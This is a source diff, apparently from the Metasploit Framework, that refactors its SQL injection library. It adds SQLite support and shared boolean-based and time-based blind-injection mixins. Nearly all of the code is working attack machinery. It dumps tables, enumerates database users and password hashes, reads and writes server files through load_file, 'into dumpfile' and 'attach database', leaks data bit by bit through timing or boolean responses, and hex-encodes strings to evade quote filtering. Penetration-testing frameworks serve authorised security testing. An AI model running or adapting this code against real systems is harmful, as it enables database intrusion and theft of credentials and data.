end
|
||||
# first, get the length of the output
|
||||
output_length = blind_detect_length(query, false)
|
||||
vprint_status "{SQLi} Boolean-based injection: expecting output of length #{output_length}"
|
||||
# now, get the output, of the given length
|
||||
blind_dump_data(query, output_length, known_bits, bits_to_guess, false)
|
||||
end
|
||||
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
|
||||
# the values returned by the bloc for some boolean queries are correct.
|
||||
# @return [Boolean] Whether the check determined that boolean-based blind SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
out_true = blind_request('1=1')
|
||||
out_false = blind_request('1=2')
|
||||
out_true && !out_false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Performs one request, should leak one bit of information
|
||||
# (if return value is not false or nil, 1, 0 otherwise)
|
||||
#
|
||||
def blind_request(query)
|
||||
@query_proc.call(query)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +1,15 @@
|
||||
# coding: ascii-8bit
|
||||
|
||||
require 'base64'
|
||||
|
||||
#
|
||||
# This class represents a MySQL Injection object, its primary purpose is to provide the common queries
|
||||
# This class represents a MySQL/MariaDB Injection object, its primary purpose is to provide the common SQL queries
|
||||
# needed when performing SQL injection.
|
||||
# Instanciate it only if you get the query results of your SQL injection returned on the response.
|
||||
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
|
||||
#
|
||||
module Msf::Exploit::SQLi::MySQLi
|
||||
class Common < Msf::Exploit::SQLi::Common
|
||||
#
|
||||
# Encoders supported by MySQL
|
||||
# Keys are mysql function names, values are decoding procs in Ruby
|
||||
# Encoders supported by MySQL/MariaDB
|
||||
# Keys are MySQL/MariaDB function names, values are decoding procs in Ruby
|
||||
#
|
||||
ENCODERS = {
|
||||
base64: {
|
||||
@@ -23,7 +22,6 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
}
|
||||
}.freeze
|
||||
|
||||
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
|
||||
#
|
||||
# See SQLi::Common#initialize
|
||||
#
|
||||
@@ -37,8 +35,8 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
end
|
||||
|
||||
#
|
||||
# Query the MySQL version
|
||||
# @return [String] The MySQL version in use
|
||||
# Query the MySQL/MariaDB version
|
||||
# @return [String] The MySQL/MariaDB version in use
|
||||
#
|
||||
def version
|
||||
call_function('version()')
|
||||
@@ -70,41 +68,46 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
|
||||
#
|
||||
# Query the character encoding of the given database
|
||||
# @param database [String] the name of a database, or a function call, or nil for the current database
|
||||
# @return [String] The character encoding, or nil if the database does not exist, or another error occurs
|
||||
# @param database [String] the name of a database, or a function call, defaults to the current database
|
||||
# @return [String] The character encoding of the chosen database
|
||||
#
|
||||
def enum_database_encoding(database='database()')
|
||||
def enum_database_encoding(database = 'database()')
|
||||
dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME],
|
||||
"SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0]
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of the tables in a given database
|
||||
# @param database [String] the name of a database, or a function call, or nil for the current database
|
||||
# @param database [String] the name of a database, or a function call, defaults to the current database
|
||||
# @return [Array] An array of Strings, the table names in the given database
|
||||
#
|
||||
def enum_table_names(database='database()')
|
||||
def enum_table_names(database = 'database()')
|
||||
dump_table_fields('information_schema.tables', %w[table_name],
|
||||
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
end
|
||||
|
||||
def enum_view_names(database='database()')
|
||||
#
|
||||
# Query the names of the views in a given database
|
||||
# @param database [String] the name of a database, or a function call, defaults to the current database
|
||||
# @return [Array] An array of Strings, the view names in the given database
|
||||
#
|
||||
def enum_view_names(database = 'database()')
|
||||
dump_table_fields('information_schema.views', %w[table_name],
|
||||
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
"table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the mysql users (their username and password), this might require root privileges.
|
||||
# Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
|
||||
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
|
||||
#
|
||||
def enum_dbms_users
|
||||
# might require root privileges
|
||||
# might require elevated privileges
|
||||
dump_table_fields('mysql.user', %w[User Password])
|
||||
end
|
||||
|
||||
#
|
||||
# Query the column names of the given table in the given database
|
||||
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
|
||||
# @param table_name [String] the name of the table of which you want to query the column names, eg: database.table
|
||||
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
|
||||
#
|
||||
def enum_table_columns(table_name)
|
||||
@@ -189,6 +192,7 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
#
|
||||
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
|
||||
# queries that should return known results return the results we expect from them
|
||||
# @return [Boolean] Whether the SQL injection check was successful
|
||||
#
|
||||
def test_vulnerable
|
||||
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
|
||||
@@ -198,13 +202,18 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
|
||||
#
|
||||
# Attempt writing data to the file at the given path
|
||||
# @param fpath [String] The path of the file to write to
|
||||
# @param data [String] The data to write to the given file
|
||||
# @return [void]
|
||||
#
|
||||
def write_to_file(fpath, data)
|
||||
raw_run_sql("select '#{data}' into dumpfile '#{fpath}'")
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt reading from a file on the filesystem
|
||||
# Attempt reading from a file on the filesystem, requires having the FILE privilege
|
||||
# @param fpath [String] The path of the file to read
|
||||
# @return [String] The content of the file if reading was successful
|
||||
#
|
||||
def read_from_file(fpath)
|
||||
run_sql("select load_file('#{fpath}')")
|
||||
@@ -232,7 +241,7 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the options specific to MySQL
|
||||
# Checks the options specific to MySQL/MariaDB
|
||||
#
|
||||
def check_opts(opts)
|
||||
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
|
||||
@@ -242,6 +251,11 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the output of a MySQL function call
|
||||
# @param function [String] The function call, function_name(arguments...)
|
||||
# @return [String] What the function call returns
|
||||
#
|
||||
def call_function(function)
|
||||
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
|
||||
output = nil
|
||||
@@ -254,6 +268,12 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the length of the data that query should return, this is used in blind SQL injections
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||
# @return [Integer] The length of the data that query should return
|
||||
#
|
||||
def blind_detect_length(query, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
@@ -273,6 +293,15 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
output_length
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the output of the given SQL query, this method is used in Blind SQL injections
|
||||
# @param query [String] The SQL query the user wants to execute
|
||||
# @param length [Integer] The expected length of the output of the result of the SQL query
|
||||
# @param known_bits [Integer] a bitmask all the bytes in the output are expected to match
|
||||
# @param bits_to_guess [Integer] the number of bits that must be retrieved from each byte of the query output
|
||||
# @param timebased [Boolean] true if it's a time-based query, false if it's boolean-based
|
||||
# @return [String] The query result
|
||||
#
|
||||
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
@@ -292,24 +321,10 @@ module Msf::Exploit::SQLi::MySQLi
|
||||
output
|
||||
end
|
||||
|
||||
def get_bitmask(range)
|
||||
if range.begin.is_a?(String)
|
||||
range = range.map(&:ord)
|
||||
else
|
||||
range = range.to_a
|
||||
end
|
||||
raise ArgumentError, 'Invalid range' unless range.first >= 0 && range.last <= 255
|
||||
|
||||
# the low bits that change between the ascii codes
|
||||
bitmask = range.each_cons(2).inject(0) { |m, (v1, v2)| m | (v1 ^ v2) }
|
||||
# the bits that remain the same
|
||||
known_bits = range[0] & ~bitmask
|
||||
bits_to_guess = BIT_COUNTS[bitmask]
|
||||
[known_bits, bits_to_guess]
|
||||
end
|
||||
|
||||
#
|
||||
# Encodes strings in the query string as hexadecimal numbers
|
||||
# Encodes strings in the query string as hexadecimal numbers
|
||||
# @param query [String] an SQL query
|
||||
# @return [String] The input query, where strings are replaced by hex sequences
|
||||
#
|
||||
def hex_encode_strings(query)
|
||||
# empty strings are not encoded, they can be avoided anyway
|
||||
|
||||
@@ -1,58 +1,19 @@
|
||||
require 'msf/core/exploit/sqli/utils/time_based_blind'
|
||||
|
||||
#
|
||||
# Time-Based Blind SQL injection support for MySQL
|
||||
# Time-Based Blind SQL injection support for MySQL/MariaDB
|
||||
#
|
||||
class Msf::Exploit::SQLi::MySQLi::TimeBasedBlind < Msf::Exploit::SQLi::MySQLi::Common
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Runs an SQL query, and returns its results (time-based blind technique)
|
||||
#
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param output_charset [Range] The range of characters to expect in the output, optional
|
||||
# @return [String] The query result
|
||||
#
|
||||
def run_sql(query, output_charset: nil)
|
||||
# TODO: detect latency and update sleepdelay manually?
|
||||
if output_charset.is_a?(Range) && output_charset.count > 0
|
||||
known_bits, bits_to_guess = get_bitmask(output_charset)
|
||||
else
|
||||
known_bits = 0
|
||||
bits_to_guess = 8
|
||||
end
|
||||
vprint_status "{SQLi} Executing (#{query})"
|
||||
if @hex_encode_strings
|
||||
query = hex_encode_strings(query)
|
||||
vprint_status "{SQLi} Encoded to (#{query})"
|
||||
end
|
||||
# first, get the length of the output
|
||||
output_length = blind_detect_length(query, true)
|
||||
vprint_status "{SQLi} Time-based injection: expecting output of length #{output_length}"
|
||||
# now, get the output, of the given length
|
||||
blind_dump_data(query, output_length, known_bits, bits_to_guess, true)
|
||||
end
|
||||
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind time-based injection by checking if
|
||||
# the target sleeps only when a given condition is true.
|
||||
# the target sleeps only when a given condition is true, and doesn't when it's false.
|
||||
# @return [Boolean] Whether the check confirmed that the time-based SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
# run_sql and check if output is what's expected, or just check for delays?
|
||||
out_true = blind_request("if(1=1,sleep(#{datastore['SqliDelay']}),0)")
|
||||
out_false = blind_request("if(1=2,sleep(#{datastore['SqliDelay']}),0)")
|
||||
out_true && !out_false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Performs one request, and does timing measurement, should leak one bit of information
|
||||
#
|
||||
def blind_request(query)
|
||||
time = Time.now
|
||||
@query_proc.call(query)
|
||||
diff = Time.now - time
|
||||
diff >= datastore['SqliDelay']
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
module Msf::Exploit::SQLi::SQLitei
|
||||
end
|
||||
|
||||
require 'msf/core/exploit/sqli/sqlitei/common'
|
||||
require 'msf/core/exploit/sqli/sqlitei/boolean_based_blind'
|
||||
require 'msf/core/exploit/sqli/sqlitei/time_based_blind'
|
||||
@@ -0,0 +1,19 @@
|
||||
require 'msf/core/exploit/sqli/utils/boolean_based_blind'
|
||||
|
||||
#
|
||||
# Boolean-Based Blind SQL injection support for SQLite
|
||||
#
|
||||
class Msf::Exploit::SQLi::SQLitei::BooleanBasedBlind < Msf::Exploit::SQLi::SQLitei::Common
|
||||
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
|
||||
# the values returned by the bloc for some boolean queries are correct.
|
||||
# @return [Boolean] Whether the check confirmed that boolean-based blind SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
out_true = blind_request('1=1')
|
||||
out_false = blind_request('1=2')
|
||||
out_true && !out_false
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,251 @@
|
||||
#
|
||||
# This class represents an SQLite Injection object, its primary purpose is to provide the common SQL queries
|
||||
# needed for performing SQL injection on SQLite.
|
||||
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
|
||||
#
|
||||
module Msf::Exploit::SQLi::SQLitei
|
||||
class Common < Msf::Exploit::SQLi::Common
|
||||
|
||||
#
|
||||
# Encoders available for SQLite
|
||||
#
|
||||
ENCODERS = {
|
||||
hex: {
|
||||
encode: 'hex(^DATA^)',
|
||||
decode: proc { |data| Rex::Text.hex_to_raw(data) }
|
||||
}
|
||||
}.freeze
|
||||
|
||||
#
|
||||
# Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options
|
||||
# @return [SQLi::SQLitei::Common]
|
||||
#
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
opts[:concat_separator] ||= ','
|
||||
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
|
||||
opts[:encoder] = opts[:encoder].downcase.intern
|
||||
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the version of SQLite in use
|
||||
# @return [String] The version of SQLite in use
|
||||
#
|
||||
def version
|
||||
call_function('sqlite_version()')
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the names of the tables present on the current database
|
||||
# @return [Array] an array of Strings, the names of the tables in the current database
|
||||
#
|
||||
def enum_table_names
|
||||
dump_table_fields('sqlite_master', %w[tbl_name], "type='table'").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the names of the columns of the given table
|
||||
# NOTE: might not work if pragma_table_info is not supported, use run_sql,
|
||||
# and query sql from sqlite_master if you need it in older versions of SQLite
|
||||
# @param table [String] The name of a table
|
||||
# @return [Array] an array of strings, the names of the columns of the given table
|
||||
#
|
||||
def enum_table_columns(table)
|
||||
dump_table_fields("pragma_table_info('#{table}')", %w[name]).flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt writing data to the file at the given path
|
||||
# Note: target must support stacked queries, and injection point must be at the start of a new query
|
||||
# @return [void]
|
||||
#
|
||||
def write_to_file(fpath, data)
|
||||
db, tbl, col = 3.times.map { Rex::Text.rand_text_alpha(rand(2..5)) }
|
||||
raw_run_sql("attach database '#{fpath}' AS #{db}; create table #{db}.#{tbl}(#{col} blob); insert into #{db}.#{tbl}(#{col}) values('#{data}')")
|
||||
end
|
||||
|
||||
#
|
||||
# Dumps data from a given table
|
||||
# @param table [String] The name of the table
|
||||
# @param columns [Array] an Array of Strings, the names of the columns to retrieve
|
||||
# @param condition [String] an optional condition, return only records that satisfy it
|
||||
# @param limit [Integer] optional, limit the number of rows to return to this value
|
||||
# @return [Array] an array of rows, each row being an array of strings, strings being values at the given columns
|
||||
#
|
||||
def dump_table_fields(table, columns, condition = '', limit = '')
|
||||
return '' if columns.empty?
|
||||
|
||||
one_column = columns.length == 1
|
||||
if one_column
|
||||
columns = "ifnull(#{columns.first},'#{@null_replacement}')"
|
||||
columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
|
||||
else
|
||||
columns = columns.map do |col|
|
||||
col = "ifnull(#{col},'#{@null_replacement}')"
|
||||
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
|
||||
end.join("||'#{@second_concat_separator}'||")
|
||||
end
|
||||
unless condition.empty?
|
||||
condition = ' where ' + condition
|
||||
end
|
||||
num_limit = limit.to_i
|
||||
if num_limit > 0
|
||||
limit = ' limit ' + num_limit.to_s
|
||||
end
|
||||
retrieved_data = nil
|
||||
if @safe
|
||||
# no group_concat, leak one row at a time
|
||||
row_count = run_sql("select count(1) from #{table}#{condition}").to_i
|
||||
num_limit = row_count if num_limit == 0 || row_count < num_limit
|
||||
retrieved_data = num_limit.times.map do |current_row|
|
||||
if @truncation_length
|
||||
truncated_query("select substr(cast(#{columns} as blob),^OFFSET^,#{@truncation_length}) from " \
|
||||
"#{table}#{condition} limit 1 offset #{current_row}")
|
||||
else
|
||||
run_sql("select cast(#{columns} as blob) from #{table}#{condition} limit 1 offset #{current_row}")
|
||||
end
|
||||
end
|
||||
else
|
||||
if num_limit > 0
|
||||
alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
|
||||
if @truncation_length
|
||||
retrieved_data = truncated_query('select substr(group_concat(' \
|
||||
"#{alias1},'#{@concat_separator}'),"\
|
||||
"^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as blob) #{alias1} from #{table}"\
|
||||
"#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||
else
|
||||
retrieved_data = run_sql("select group_concat(#{alias1},'#{@concat_separator}')"\
|
||||
" from (select cast(#{columns} as blob) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
|
||||
end
|
||||
else
|
||||
if @truncation_length
|
||||
retrieved_data = truncated_query('select substr(group_concat(' \
|
||||
"cast(#{columns} as blob),'#{@concat_separator}')," \
|
||||
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator)
|
||||
else
|
||||
retrieved_data = run_sql("select group_concat(cast(#{columns} as blob),'#{@concat_separator}')" \
|
||||
" from #{table}#{condition}#{limit}").split(@concat_separator)
|
||||
end
|
||||
end
|
||||
end
|
||||
retrieved_data.map do |row|
|
||||
row = row.split(@second_concat_separator)
|
||||
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if the SQL injection is found to work as expected
|
||||
# @return [Boolean] whether the check determined that the SQL injection works
|
||||
#
|
||||
def test_vulnerable
|
||||
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
|
||||
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
|
||||
query_string = "'#{random_string}'"
|
||||
query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
|
||||
output = run_sql("select #{query_string}")
|
||||
(@encoder ? @encoder[:decode].call(output) : output) == random_string
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Runs the given SQL query, expecting that the block always returns @truncation_length characters,
|
||||
# replacing ^OFFSET^ with numbers, for internal use in other methods
|
||||
# @param query [String] The SQL query to run, containing ^OFFSET^
|
||||
# @return [String] The result of the SQL query
|
||||
#
|
||||
def truncated_query(query)
|
||||
result = [ ]
|
||||
offset = 1
|
||||
loop do
|
||||
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
|
||||
offset += @truncation_length # should be same as @truncation_length for most cases
|
||||
result << slice
|
||||
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
|
||||
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
|
||||
break if slice.length < @truncation_length
|
||||
end
|
||||
result.join
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the result of an SQLite function call
|
||||
# @param function [String] the function to call, parenthesis included, sqlite_version() for example
|
||||
# @return [String] the output of the function
|
||||
#
|
||||
def call_function(function)
|
||||
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
|
||||
output = nil
|
||||
if @truncation_length
|
||||
output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
|
||||
else
|
||||
output = run_sql("select #{function}")
|
||||
end
|
||||
output = @encoder[:decode].call(output) if @encoder
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Detects the length of the output of query in a blind manner
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param timebased [Boolean] Whether or not it's a time-based blind injection
|
||||
# @return [Integer] the length of the output of query
|
||||
#
|
||||
def blind_detect_length(query, timebased)
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
sleep_part = " and randomblob(#{@heavyquery_parameter})"
|
||||
end
|
||||
output_length = 0
|
||||
i = 0
|
||||
loop do
|
||||
output_bit = blind_request("length(cast((#{query}) as blob))&#{1 << i}<>0#{sleep_part}")
|
||||
output_length |= (1 << i) if output_bit
|
||||
i += 1
|
||||
stop = blind_request("length(cast((#{query}) as blob))/#{1 << i}=0#{sleep_part}")
|
||||
break if stop
|
||||
end
|
||||
output_length
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves the result of query in a blind manner
|
||||
# @param query [String] the SQL query to execute
|
||||
# @param length [Integer] the expected length of the result
|
||||
# @param known_bits [Integer] (returned by get_bitmask) bits that are common to all the output characters
|
||||
# @param bits_to_guess [Integer] (returned by get_bitmask) The number of bits to guess on each character of the output
|
||||
# @param timebased [Boolean] Whether or not it's a time-based blind injection
|
||||
# @return [String] The result of the given query
|
||||
#
|
||||
def blind_dump_data(query, length, known_bits, _bits_to_guess, timebased)
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
sleep_part = " and randomblob(#{@heavyquery_parameter})"
|
||||
end
|
||||
output = length.times.map do |j|
|
||||
current_character = known_bits
|
||||
8.times do |k|
|
||||
output_bit = blind_request("unicode(substr(cast((#{query}) as blob), #{j + 1}, 1))&#{1 << k}<>0#{sleep_part}")
|
||||
current_character |= (1 << k) if output_bit
|
||||
end
|
||||
current_character.chr
|
||||
end.join
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Encodes strings to bypass quotes filtering
|
||||
# @param query [String] the SQL query to encode
|
||||
# @return [String] the given SQL query where quoted strings are encoded
|
||||
#
|
||||
def hex_encode_strings(query)
|
||||
# for more encoding capabilities, run code at the beginning of your block
|
||||
query.gsub(/'.*?'|".*?"/) do |match|
|
||||
'char(' + match[1..-2].each_codepoint.map { |code| '0x' + code.to_s(16) }.join(',') + ')'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,59 @@
|
||||
require 'msf/core/exploit/sqli/utils/time_based_blind'
|
||||
|
||||
#
|
||||
# Time-Based Blind SQL injection support for SQLite
|
||||
#
|
||||
class Msf::Exploit::SQLi::SQLitei::TimeBasedBlind < Msf::Exploit::SQLi::SQLitei::Common
|
||||
include ::Msf::Exploit::SQLi::TimeBasedBlindMixin
|
||||
|
||||
HEAVYQUERY_DETECTION_SAMPLE = 10 # number of times to check if the block takes a delay to respond
|
||||
|
||||
#
|
||||
# Creates an object that will be used for running time-based blind SQL injections targeting SQLite
|
||||
# refer to SQLi::Common#initialize for a description of the options
|
||||
# @return [SQLi::SQLitei::TimeBasedBlind]
|
||||
#
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
super
|
||||
if opts[:heavyquery_parameter]
|
||||
@heavyquery_parameter = opts[:heavyquery_parameter]
|
||||
else
|
||||
detect_heavyquery_parameter
|
||||
end
|
||||
vprint_status "randomblob parameter: #{@heavyquery_parameter}"
|
||||
end
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind time-based injection by checking if
|
||||
# the target sleeps only when a given condition is true.
|
||||
# @return [Boolean] whether the target is detected as vulnerable or not
|
||||
#
|
||||
def test_vulnerable
|
||||
# run_sql and check if output is what's expected, or just check for delays?
|
||||
out_true = blind_request("1=1 and randomblob(#{@heavyquery_parameter})")
|
||||
out_false = blind_request("1=2 and randomblob(#{@heavyquery_parameter})")
|
||||
out_true && !out_false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Detects the parameter to pass to randomblob to get a delay of datastore['SqliDelay'], and sets @heavyquery_parameter
|
||||
# @return [nil]
|
||||
#
|
||||
def detect_heavyquery_parameter
|
||||
@heavyquery_parameter = 10000000
|
||||
max_tries = 100
|
||||
loop do
|
||||
break if HEAVYQUERY_DETECTION_SAMPLE.times.all? { blind_request("randomblob(#{@heavyquery_parameter})") }
|
||||
|
||||
@heavyquery_parameter *= 2
|
||||
max_tries -= 1
|
||||
if max_tries == 0
|
||||
fail_with Failure::Unknown, 'Could not detect the heavyquery parameter after 100 tries'
|
||||
end
|
||||
end
|
||||
@heavyquery_parameter = @heavyquery_parameter * 3 / 2 # for safety
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,49 @@
|
||||
require 'msf/core/exploit/sqli/utils/common'
|
||||
|
||||
module Msf::Exploit::SQLi
|
||||
|
||||
#
|
||||
# This mixin provides some methods used by boolean-based blind SQL injection implementations that are
|
||||
# the same across implementations.
|
||||
#
|
||||
module BooleanBasedBlindMixin
|
||||
#
|
||||
# Gets the output of the given SQL query, in a boolean-based blind manner.
|
||||
# The block given to initialize must return true if querying its parameter
|
||||
# gave a result, false otherwise.
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param output_charset [Range] The range of characters to expect in the output, optional
|
||||
# can improve performance a lot, as fewer bits need to be guessed on each character.
|
||||
# example : ('0' .. '9') if you know the output of your query contains only numeric characters
|
||||
# @return [String] The query results
|
||||
#
|
||||
def run_sql(query, output_charset: nil)
|
||||
if output_charset.is_a?(Range) && output_charset.count > 0
|
||||
known_bits, bits_to_guess = Msf::Exploit::SQLi::Utils::Common.get_bitmask(output_charset)
|
||||
else
|
||||
known_bits = 0
|
||||
bits_to_guess = 8
|
||||
end
|
||||
vprint_status "{SQLi} Executing (#{query})"
|
||||
if @hex_encode_strings
|
||||
query = hex_encode_strings(query)
|
||||
vprint_status "{SQLi} Encoded to (#{query})"
|
||||
end
|
||||
# first, get the length of the output
|
||||
output_length = blind_detect_length(query, false)
|
||||
vprint_status "{SQLi} Boolean-based injection: expecting output of length #{output_length}"
|
||||
# now, get the output, of the given length
|
||||
blind_dump_data(query, output_length, known_bits, bits_to_guess, false)
|
||||
end
|
||||
|
||||
#
|
||||
# Performs one request, should leak one bit of information
|
||||
# (if return value is not false or nil, 1, 0 otherwise)
|
||||
# @param query [String] The SQL query to run
|
||||
# @return [Object] should return a true value if the query returned a result, false or nil otherwise
|
||||
#
|
||||
def blind_request(query)
|
||||
@query_proc.call(query)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,30 @@
|
||||
module Msf::Exploit::SQLi::Utils
|
||||
|
||||
#
|
||||
# This module provides utilities used by the SQL injection library, none of the utilities are specific to SQL injection
|
||||
#
|
||||
module Common
|
||||
BIT_COUNTS = { 0 => 0, 0b1 => 1, 0b11 => 2, 0b111 => 3, 0b1111 => 4, 0b11111 => 5, 0b111111 => 6, 0b1111111 => 7, 0b11111111 => 8 }.freeze
|
||||
|
||||
#
|
||||
# Helper method, from a range of characters, returns the MSBs that are common to all of them, and the number of changing bits
|
||||
# @param range [Range] the range of characters you expect in the output of the query
|
||||
# @return [Array] an array with two integers, the bitmask consisting of bits not changing between characters in the range, and the number of bits changing
|
||||
#
|
||||
def self.get_bitmask(range)
|
||||
if range.begin.is_a?(String)
|
||||
range = range.map(&:ord)
|
||||
else
|
||||
range = range.to_a
|
||||
end
|
||||
raise ArgumentError, 'Invalid range' unless range.first >= 0 && range.last <= 255
|
||||
|
||||
# the low bits that change between the ascii codes
|
||||
bitmask = range.each_cons(2).inject(0) { |m, (v1, v2)| m | (v1 ^ v2) }
|
||||
# the bits that remain the same
|
||||
known_bits = range[0] & ~bitmask
|
||||
bits_to_guess = BIT_COUNTS[bitmask]
|
||||
[known_bits, bits_to_guess]
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,47 @@
|
||||
require 'msf/core/exploit/sqli/utils/common'
|
||||
|
||||
module Msf::Exploit::SQLi
|
||||
|
||||
#
|
||||
# This module provides methods that are used for time-based SQL injections, and are common across dbms-specific implementations.
|
||||
#
|
||||
module TimeBasedBlindMixin
|
||||
#
|
||||
# Runs an SQL query, and returns its results (time-based blind technique)
|
||||
#
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param output_charset [Range] The range of characters to expect in the output, optional
|
||||
# @return [String] The query result
|
||||
#
|
||||
def run_sql(query, output_charset: nil)
|
||||
if output_charset.is_a?(Range) && output_charset.count > 0
|
||||
known_bits, bits_to_guess = Msf::Exploit::SQLi::Utils::Common.get_bitmask(output_charset)
|
||||
else
|
||||
known_bits = 0
|
||||
bits_to_guess = 8
|
||||
end
|
||||
vprint_status "{SQLi} Executing (#{query})"
|
||||
if @hex_encode_strings
|
||||
query = hex_encode_strings(query)
|
||||
vprint_status "{SQLi} Encoded to (#{query})"
|
||||
end
|
||||
# first, get the length of the output
|
||||
output_length = blind_detect_length(query, true)
|
||||
vprint_status "{SQLi} Time-based injection: expecting output of length #{output_length}"
|
||||
# now, get the output, of the given length
|
||||
blind_dump_data(query, output_length, known_bits, bits_to_guess, true)
|
||||
end
|
||||
|
||||
#
|
||||
# Performs one request, and does timing measurement, should leak one bit of information
|
||||
# @param query [String] The SQL query to run
|
||||
# @return [Boolean] Whether the target slept when queried with the given payload
|
||||
#
|
||||
def blind_request(query)
|
||||
time = Time.now
|
||||
@query_proc.call(query)
|
||||
diff = Time.now - time
|
||||
diff >= datastore['SqliDelay']
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,3 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/modules/metadata'
|
||||
|
||||
#
|
||||
@@ -16,6 +18,11 @@ module Msf::Modules::Metadata::Search
|
||||
"aux" => Msf::MODULE_AUX
|
||||
}
